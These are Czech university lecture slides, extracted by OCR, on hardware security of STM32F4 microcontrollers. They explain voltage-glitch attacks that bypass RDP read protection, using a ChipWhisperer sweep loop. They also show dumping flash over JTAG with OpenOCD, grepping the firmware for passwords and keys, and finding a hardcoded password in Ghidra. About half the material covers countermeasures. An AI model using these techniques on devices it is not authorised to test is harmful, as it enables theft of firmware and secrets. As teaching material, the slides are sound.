3. Glitch pfri boot procesu

I Historicky byly realné uspésné utoky na RDP1 (hlavné F1/F2/F4)
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Proc je STM32F4 zranitelny?

Flash wait states
Flash je pomalejSi nez CPU:

e Pouziva se prefetch + cache
e P¥i glitchi:
o X Chybné &teni instrukce

o X Instrukce se vykona "napdl"
CPU @ 168 MHz - 6 ns per cycle
Flash @ 30 MHz - 33 ns per read

Nutné wait states + prefetch buffer
Glitch mGZe zpdsobit chybny fetch!

Mikroprocesory 06/01/2026
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Napajeci domény
STM32F4 ma oddélené domény:

1. CPU jadro (Vcore ~ 1.2V z LDO)

2. Flash

3. Periférie

Napétovy glitch nezasahne vsSe stejné

Mikroprocesory 06/01/2026

CPU Core Flash Peripherals
(Vcore) (VDD) (VDD)
VDD

|
Glitch| « Zasahne r(izné!
I
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Z4dné pokrodilé ochrany

Mikroprocesory 06/01/2026

Ochrana

ARM Cortex-A

STM32F4 Cortex-M4

ECC na instruction fetch
Lockstep execution
Glitch detectors

Secure boot v ROM

(automotive)

X
X
X (musi$ implementovat)

X (F4 nema)
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Jak utok prakticky probiha

Typicka sestava Komponenty
1. MCU (target) - obét utoku
PC/Laptop 2. Glitcher - ChipWhisperer, vlastni FPGA, Raspberry Pi
(dtocnik) _
Pico
USB . ., .
3. Trigger - GPIO | SWO [ UART signal pro timing
Glitcher | « ChipWihisperer / viastnl FPGA 4 osciloskop - ladéni timingu (volitelng)
VDD CLK Trigger (GPIO/SWO/UART)
ctrl ctrl
STM32F4 « Target MCU
(target)
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Prubéh utoku

. Ffeset Mcu Parametry pro sweep
2. Cekdni na casovy trigger : o
(napf. bootloader start, GPIO toggle) e delay (od triggeru) - kdy spustit glitch

!

3. Injekce glitch v presném cCase
d

4. Pozorovani chovani
(Gspéch? crash? nic?)  opakovani - kolikrat zkusit stejné parametry
d

5. Opakovani - sweep parametrdi

e width - délka glitche (ns—pus)

e amplitude - sila glitche (pokles napéti)

Typicky sweep:

for delay in range(@, 10000): # 0-10 ms
for width in range(10, 1000): # 10-1000 ns
inject_glitch(delay, width)
if check_success():
print (f"SUCCESS: delay={delay}, width={width}")
break

Mikroprocesory 06/01/2026
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Glitching - prakticky setup (ChipWhisperer)
Hardware:

e ChipWhisperer Lite (~$300) - kompletni platforma
e ChipWhisperer Nano (~$60) - levnéjsi varianta
» Nebo vlastni FPGA [ Raspberry Pi Pico (~$4)

ChipWhisperer API priklad:

import chipwhisperer as cw
# Pripojeni

scope = cw.scope()

target = cw.target(scope)

# Nastaveni glitch

scope.glitch.clk_src = 'clkgen' # Zdroj clocku
scope.glitch.trigger_src = ‘'ext_single’ # Trigger z GPIO
scope.glitch.width = 10 # Délka glitche (% periody)
scope.glitch.offset = 20 # Delay od triggeru

# Utok - sweep parametrd
for offset in range(0, 1000):
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Glitching - prakticky priklad utoku na RDP

Scénar: STM32F4 s RDP Level 1 = utoénik chce downgrade na Level O

STM32 bootloader kod (ROM):

void rdp_downgrade_check(void) {
uint8_t current_rdp = read_option_byte(RDP_BYTE);
uint8_t new_rdp = read_user_request();

if (new_rdp < current_rdp) { // Downgrade?
flash_mass_erase(); // « VYMAZ VSE!
set_rdp(new_rdp);

} else {
set_rdp(new_rdp); // <« Utoénik chce sem!

}

Mikroprocesory 06/01/2026
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Utok:

1. Utoénik pozada o RDP downgrade (Level 1 - 0)
2. Bootloader spusti rdp_downgrade_check()
3. Uto¢nik spusti glitch PRESNE b&hem if (new_rdp < current_rdp)

4. Glitch zpusobi:
o CMP instrukce se preskoCi NEBO vrati "false"

5. CPU skodina vétev else misto flash_mass_erase() !

6. RDP se zméni na Level 0 BEZ vymazani Flash! - Utoénik predte Flash pres debugger

Timing diagram:

Statistika:
Cas (us): 0 10 T@ T@ ‘|‘0 T@ o Uspésnost: 1-10% pokust (zalezi na timingu)
Bootloader: CMP e Potiebné pokusy: 10-10,000
v | ‘ « Cas: minuty az hodiny
VDD: |
L 1]

?
Glitch ZDE = Uspéch!
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Co glitch NEUMI

Glitching neni vSemocny!
X Nedte flash "jen tak"

e Glitch mize obejit RDP, ale pak musi$ pouzit
debugger

X Neprolomi kryptografii matematicky

e Glitch mlzZe preskoCit verify_signature() , ale
nerozbije RSA/AES sam o sobé

Rizika:
e 1 Brick zarizeni - glitch v nespravny ¢as - zafizeni
nefunkéni
e 1 Flash corruption - ¢astecny zapis, posSkozeni dat

e 1 Deterministicky crash - nékteré parametry vzdy
zpusobi pad
Mikroprocesory 06/01/2026

X Neni deterministicky — je statisticky

e Musis$ zkusit tisice pokust(

o Uspéch zavisi na presném timingu (ns—s)

Uspéch = spravna kombinace éasu a amplitudy

Parameter space:

delay

X X X X
X X X X
X X X O
X O X X
X X X X
X X X X

width

Jen 2 z 24 kombinaci funguji!
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Protiopatreni - HW ochrany
1. Napétovy supervisor

// Brown-out detector (BOR)
// Pokud VDD < 2.7V - reset MCU
PWR—>CR |= PWR_CR_PLS_LEV4; // BOR Level 4 (2.7V)

2.RCHiltr na Vcore 3. Interni LDO misto externiho

VDD Vcore (MCU) e T&ZSi cilit glitch na interni LDO

e |epsifiltrace

1000Q

4. Detekce brown-out

== 10uF « Vyhlazuje glitche!

if (__HAL_PWR_GET_FLAG(PWR_FLAG_PVDO)) {
GND // Napéti kleslo - mozny glitch!
NVIC_SystemReset(); // Bezpecny restart
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Protiopatreni - SW ochrany

1. Kontroly redundance -
y 2. Casova variabilita

// Misto: . .
if (check()) { unlock(): } void secure_check(void) {
// Nahodné zpozdéni - tézsi timing
// Pouzivej: volatile uint32_t delay = RNG->DR % 1000;
if (check() && check() && check()) { for (uint32_t i = 0; i < delay; i++) {
if (check()) { // Je$té& jednou! __NOP();
unlock(); }
1 y if (verify_password()) {
unlock();
] }
UtoCnik musi glitchovat vSechny kontroly! }
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3. Kontrola PC | CRC instrukci

// Pred kritickou operaci:

uint32_t expected_pc = (uint32_t)&&critical_section;
uint32_t actual_pc;

asm volatile("mov %@, pc" : "=r"(actual_pc));

if (actual_pc != expected_pc) {
// PC je Spatné - mozny glitch!
abort();

¥

critical_section:
unlock();

4. Double-execution (lockstep light)

uint8_t resultl = verify_signature(image);
__NOP(); _NOP(); _NOP(); // Delay
uint8_t result2 = verify_signature(image);

if (resultl == 1 && result2 == 1 && resultl == result2) {
jump_to_image();
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Protiopatreni - Architektura

1. Pfesun kritickych ¢asti do ROM

Flash « MGze byt modifikovan Gtoc¢nikem
(firmware)
ROM « NELZE modifikovat!
(bootloader) 2 Secure boot zde

RDP check zde

2. Secure element

e ATECC608 (Microchip) - external secure element
e STM32H5 Secure - ma TrustZone
e STM32U5 - ma TZEN bit

STM32F4 I2C ATECC608
(main MCU) |<*— (secure el.)

)
Crypto klig¢e JSOU UVNITR!
Glitch na STM32 - klice jsou v bezpeci
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3. Redundantni MCU

Vysoka bezpecnost

MCU #1 MCU #2
(main) -— (checker)

I
v

Akce pouze pokud
oba souhlasi!

Glitch musi zasahnout OBA MCU soucasné = témér nemozné!
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Firmware Extraction - binwalk

# Dump Flash pres JTAG

openocd -f stlink.cfg —-f stm32f4x.cfg \

—c "init" -c "reset halt" \

—c "flash read_bank @ firmware.bin @ 0x80000" \

—-c "shutdown"

# Analyza struktury
binwalk firmware.bin

# Vystup:

# DECIMAL HEXADECIMAL
#

# 0 0x0

# 8192 0x2000

# 16384 0x4000

# 524288 0x80000

# Extrakce

binwalk —e firmware.bin

# Hledani stringd

DESCRIPTION

ARM executable, little endian
Certificate in DER format
LZMA compressed data

Squashfs filesystem

strings firmware.bin | grep —-i '"password\ |key\ |secret"

Mikroprocesory 06/01/2026
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Reverse Engineering - Ghidra

Ghidra - NSA reverse engineering tool (open-source!)

# NacCist firmware

ghidra &

File -» Import File - firmware.bin
Format: Raw Binary

Language: ARM Cortex-M (little endian)
Base address: 0x08000000

Auto-analyza:
Analysis - Auto Analyze - OK

Najit main funkci:
Search -» For Strings - "main" / "reset"
Xrefs to - najit vector table

HHHF HHFE HHFHHB

Typické ukoly:

1. Najit main() funkci
2. Identifikovat password check

3. Najit kryptografické klice

| 119
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Ghidra - prakticky priklad

// Dekompilovany koéd (Ghidra):
undefined4 check_password(char xinput) {
char hardcoded_pwd[16];

hardcoded_pwd [0] 's’;
hardcoded_pwd[1]
hardcoded_pwd[2]
// «.. (Ghidra rozbali cely string)
hardcoded_pwd[15] = '\0@';

int result = strcmp(input, hardcoded_pwd);
if (result == 0) {

return 1; // Authenticated
¥

return 0;

Nalezeno heslo pfimo v binarce!

Mikroprocesory 06/01/2026 120



Secure Boot - ovéreni integrity firmware pred spusténim (bez kryptografie)

typedef struct {
uint32_t magic; // OxDEADBEEF
uint32_t version;
uint32_t size;
uint32_t crc32; // CRC firmware
uint8 t firmwarel]; // Vlastni firmware
} firmware_header_t;

void secure_boot(void) {
firmware_header_t xfw = (firmware_header_tx)0x08000000;

// 1. Kontrola magic

if (fw->magic !'= OxDEADBEEF) {
halt("Invalid magic");

¥

// 2. Kontrola CRC
uint32_t calc_crc = crc32(fw—>firmware, fw->size);
if (calc_crc != fw->crc32) {
halt("CRC mismatch - firmware corrupted!");
b

// 3. Boot
typedef void (*app_t)(void);
app_t app = (app_t)fw—>firmware;

app();
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Secure Boot - s HMAC

#include "mbedtls/md.h"

// Kli¢ ulozen v OTP (One-Time Programmable)
const uint8_t SECRET_KEY[32] = { /x v OTP paméti *x/ };

bool verify_firmware_hmac(void) {
firmware_header_t xfw = (firmware_header_t*)0x08000000;

// Spocitej HMAC-SHA256

uint8_t computed_hmac[32];

mbedtls_md_context_t ctx;

mbedtls_md_init(&ctx);

mbedtls_md_setup(&ctx, mbedtls_md_info_from_type(MBEDTLS_MD_SHA256), 1);
mbedtls_md_hmac_starts(&ctx, SECRET_KEY, 32);
mbedtls_md_hmac_update(&ctx, fw—>firmware, fw->size);
mbedtls_md_hmac_finish(&ctx, computed_hmac);

// Porovnej (constant-time!)
int diff = 0;

for (int i = 0; i < 32; i++) {

diff |= computed_hmac[i] ~ fw—>hmac[il;
}
return (diff == 0);
¥
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5. Obrana a protiopatreni
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Secure Coding Guidelines

1. Input validation

// SPRAVNE

void process_packet(uint8_t xdata, size_t len) {
if (len < 4 || len > MAX_PACKET_SIZE) {
. return ERROR_INVALID LENGTH;

uintl6_t payload_len = (datal[2] << 8) | datal3];

if (payload_len > len - 4) { // Kontrola!
return ERROR_INVALID_PAYLOAD;

¥

memcpy (buffer, data + 4, payload_len);

2. Bounds checking

// Pouzit bezpecné funkce
strncpy(dest, src, sizeof(dest) - 1);
dest[sizeof(dest) - 1] = '\0@';
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Compile-time protections

# GCC flags pro bezpecnost
CFLAGS = -Wall -Wextra \

—fstack—-protector-strong \ # Stack canary

—fPIE -pie \ # Position Independent
—D_FORTIFY_SOURCE=2 \ # Bounds checking
-Wformat -Wformat-security # Format string check

# ARMv8-M specifické
CFLAGS += —-mcmse # Cortex-M Security Extensions

Static analysis:

# Clang static analyzer
scan-build make

# Cppcheck
cppcheck ——enable=all src/
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Runtime protections

1. MPU (Memory Protection Unit)

e Zakazat execute na data (W”"X)
e Guard pages pro stack

 Privileged/unprivileged separation

2. Watchdog 3. Integrity checks
// Detekce hang/infinite loop // Periodickd kontrola koédu
IWDG—>KR = @xCCCC; // Start watchdog uint32_t expected_crc = 0x12345678;
while (1) { if (crc32_compute() !'= expected_crc) {
do_work(); trigger_tamper_alarm();

IWDG—>KR = @OxAAAA; // Refresh (kazdych < 1s)
b

// Pokud program zamrzne - reset
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Side-Channel protections - zaklad

1. Constant-time code

// SPATNE (timing leak)

if (password[i] !'= input[i]) {
return FAIL; // Early exit!

b

// SPRAVNE
int diff = 0;
for (int 1 = 0; i < len; i++) {

diff |= password[i] ~ input[il];
}

return (diff == @) ? SUCCESS : FAIL;

2. Random delays

void verify_password(char xinput) {
uint32_t delay = TRNG_Random() & OxFF; // 0-255 ms
delay_ms(delay); // Ztizeni timing analyzy
// ... verification

}
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Fyzicka ochrana

1. Tamper detection - detekce otevreni krytu

void TAMPER_IRQHandler(void) {
// Trigger pin detekoval otevreni
// 1. Vymazat citliva data
memset(secret_keys, 0, sizeof(secret_keys));
// 2. Disable debug
DBGMCU->CR = 0;
// 3. Lock Flash
FLASH->0PTCR |= FLASH_OPTCR_SPRMOD;
// 4. Log event
log_tamper_event();
// 5. Reset nebo halt
NVIC_SystemReset();

2. Potting /| Encapsulation

o Zaliti elektroniky epoxy pryskyfrici

e Znemoznuje pristup k Cipu bez destrukce
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Shrnuti: Utoky a ochrana

Utoky Ochrana
1. Buffer overflow - ROP chain, code injection 1. Secure coding - input validation, bounds check
2. Command injection > UART/CAN/protocol 2. MPU -> W*X, privilege separation
3. JTAG/SWD - firmware dump, debugging 3.RDP Level 2 - disable JTAG completely
4. Glitching = bypass security checks 4. Secure boot > HMAC verification
5. Reverse engineering - Ghidra, binwalk 5. Tamper detection - fyzicka ochrana

6. Code obfuscation = ztizeni RE

Klicové: Defense in depth - vicevrstva ochrana!
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Reference a nastroje

Hardware:

e ChipWhisperer - side-channel/glitching platform
e Bus Pirate - protocol analyzer

e | ogic analyzers (Saleae, DSLogic)
Software:

e Ghidra - reverse engineering (NSA)

Binwalk - firmware analysis
OpenOCD - JTAG debugger
Renode - emulation framework
AFL - fuzzer
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Literatura:

e The Hardware Hacker - Andrew "bunnie" Huang
e Practical loT Hacking - Fotios Chantzis
e Car Hacker's Handbook - Craig Smith

Kurzy:

e Offensive loT Exploitation (OFFIOT)
e Hardware Hacking (Joe Grand)
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